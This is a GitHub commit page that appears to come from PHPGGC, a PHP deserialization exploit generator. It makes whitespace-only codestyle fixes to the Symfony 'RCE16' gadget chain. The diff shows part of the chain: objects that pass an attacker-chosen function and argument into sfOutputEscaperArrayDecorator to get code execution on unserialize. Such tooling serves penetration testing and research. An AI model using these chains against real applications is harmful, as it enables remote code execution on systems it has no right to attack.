Skip to content

Commit fbac8ba

Browse files
committed
Symfony/RCE16: fixed codestyle
1 parent 245ce48 commit fbac8ba

File tree

2 files changed

+12
-13
lines changed

2 files changed

+12
-13
lines changed

gadgetchains/Symfony/RCE/16/chain.php

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,7 @@ class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
1212
public function generate(array $parameters)
1313
{
1414
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
15-
16-
$tableInfo = new \sfNamespacedParameterHolder($escaper);
17-
15+
$tableInfo = new \sfNamespacedParameterHolder($escaper);
1816
return $tableInfo;
1917
}
2018
}

gadgetchains/Symfony/RCE/16/gadgets.php

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,22 +2,24 @@
22

33
class sfOutputEscaperArrayDecorator
44
{
5-
protected $value;
5+
protected $value;
66

7-
protected $escapingMethod;
7+
protected $escapingMethod;
88

9-
public function __construct($escapingMethod, $value) {
10-
$this->escapingMethod = $escapingMethod;
11-
$this->value = $value;
12-
}
9+
public function __construct($escapingMethod, $value)
10+
{
11+
$this->escapingMethod = $escapingMethod;
12+
$this->value = $value;
13+
}
1314
}
1415

15-
class sfNamespacedParameterHolder implements Serializable
16+
class sfNamespacedParameterHolder implements Serializable
1617
{
1718
protected $prop = null;
1819

19-
public function __construct($prop) {
20-
$this->prop = $prop;
20+
public function __construct($prop)
21+
{
22+
$this->prop = $prop;
2123
}
2224

2325
public function serialize()
@@ -27,6 +29,5 @@ public function serialize()
2729

2830
public function unserialize($serialized)
2931
{
30-
3132
}
3233
}

0 commit comments

Comments
 (0)